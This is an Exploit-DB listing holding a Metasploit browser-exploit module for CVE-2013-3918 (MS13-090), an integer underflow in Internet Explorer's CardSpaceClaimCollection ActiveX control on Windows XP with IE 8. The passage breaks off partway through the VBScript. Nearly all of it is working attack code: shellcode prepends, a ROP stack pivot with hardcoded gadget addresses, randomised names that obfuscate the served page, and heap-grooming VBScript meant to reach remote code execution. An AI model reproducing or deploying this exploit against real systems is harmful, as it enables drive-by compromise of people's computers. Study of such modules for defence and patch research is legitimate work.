Exploit-DB #29857
Description: Microsoft Internet Explorer - CardSpaceClaimCollection ActiveX Integer Underflow (MS13-090) (Metasploit)
Type: remote
Platform: windows
Date: 2013-11-27
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-090 CardSpaceClaimCollection ActiveX Integer Underflow",
      'Description'    => %q{
        This module exploits a vulnerability on the CardSpaceClaimCollection class from the
        icardie.dll ActiveX control. The vulnerability exists while the handling of the
        CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of
        elements on a SafeArray and keeps a size field, counting the number of elements on the
        collection. By calling the remove() method on an empty CardSpaceClaimCollection it is
        possible to underflow the length field, storing a negative integer. Later, a call to
        the add() method will use the corrupted length field to compute the address where write
        into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents.
        This module achieves code execution by using VBScript as discovered in the wild on
        November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create
        a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt
        one of the legit OBJECT elements with the described integer overflow and (5) achieve code
        execution by forcing the use of the corrupted OBJECT.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown',     # Vulnerability Discovery and exploit in the wild
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE',   '2013-3918'],
          [ 'OSVDB', '99555' ],
          [ 'BID',   '63631' ],
          [ 'MSB',   'MS13-090' ],
          [ 'URL',   'http://blogs.technet.com/b/msrc/archive/2013/11/11/activex-control-issue-being-addressed-in-update-tuesday.aspx' ]
        ],
      'Payload'        =>
        {
          'Space'          => 4096,
          'DisableNops'    => true,
          'BadChars'       => "\x00",
          # Patch the stack to execute the decoder...
          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff", # add esp, -500
          # Fix the stack again, this time better :), before the payload
          # is executed.
          'Prepend'        => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
                              "\x83\xC0\x08"             + # add eax, byte 8
                              "\x8b\x20"                 + # mov esp, [eax]
                              "\x81\xC4\x30\xF8\xFF\xFF",  # add esp, -2000
        },
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script|headers/i,
          :clsid   => "{19916E01-B44E-4E31-94A4-4696DF46157B}",
          :method  => "requiredClaims",
          :os_name => Msf::OperatingSystems::WINDOWS
        },
      'Targets'        =>
        [
          [ 'Windows XP with IE 8',
            {
              'os_flavor' => Msf::OperatingSystems::WindowsVersions::XP,
              'ua_name'   => Msf::HttpClients::IE,
              'ua_ver'    => '8.0',
              'arch'      => ARCH_X86
            }
          ]
        ],
      'DefaultOptions' =>
        {
          'InitialAutoRunScript' => 'migrate -f',
          'Retries'              => false
        },
      'Privileged'     => false,
      'DisclosureDate' => "Nov 08 2013",
      'DefaultTarget'  => 0))

  end

  def exploit_template(cli, target_info)
    stack_pivot = [
      0x77c20433, # pop ebp, ret  # eax points here
      0x77c15ed5  # xchg eax, esp # eip
    ].pack("V*")

    symbols = {
      "CardSpaceSigninHelper" => rand_text_alpha(5 + rand(5)),
      "get_code"              => rand_text_alpha(5 + rand(5)),
      "code"                  => rand_text_alpha(5 + rand(5)),
      "massage_array"         => rand_text_alpha(5 + rand(5)),
      "required_claims"       => rand_text_alpha(5 + rand(5)),
      "massage_array"         => rand_text_alpha(5 + rand(5)),
      "massage_array_length"  => rand_text_alpha(5 + rand(5)),
      "zero"                  => rand_text_alpha(5 + rand(5)),
      "underflow"             => rand_text_alpha(5 + rand(5)),
      "my_code"               => rand_text_alpha(5 + rand(5))
    }

    rop_payload = generate_rop_payload('msvcrt', get_payload(cli, target_info), {'target'=>'xp', 'pivot' => stack_pivot})
    js_payload = Rex::Text.to_unescape(rop_payload)

    html_template = %Q|
    <html>
    <head>
    <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
    <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
    </head>
    <body>
    <object classid='clsid:19916E01-B44E-4E31-94A4-4696DF46157B' id='<%=symbols["CardSpaceSigninHelper"]%>'></object>
    <script language='JavaScript'>

    function <%=symbols["get_code"]%>(){
      var <%=symbols["code"]%> = unescape("<%=js_payload%>");
      return <%=symbols["code"]%>;
    }
    </script>
    <script language='vbscript'>
    On Error Resume Next
    Dim <%=symbols["massage_array_length"]%>,<%=symbols["underflow"]%>,<%=symbols["zero"]%>
    Dim <%=symbols["massage_array"]%>(5493)
    <%=symbols["massage_array_length"]%> = 5493
    <%=symbols["underflow"]%> = -7
    <%=symbols["zero"]%> = 0

    Set <%=symbols["required_claims"]%> = <%=symbols["CardSpaceSigninHelper"]%>.requiredClaims

    For i = <%=symbols["zero"]%> to <%=symbols["massage_array_length"]%>
      Set <%=symbols["massage_array"]%>(i) = document.createElement("object")
    Next

    For i = 4093 to <%=symbols["massage_array_length"]%> Step 2
      <%=symbols["massa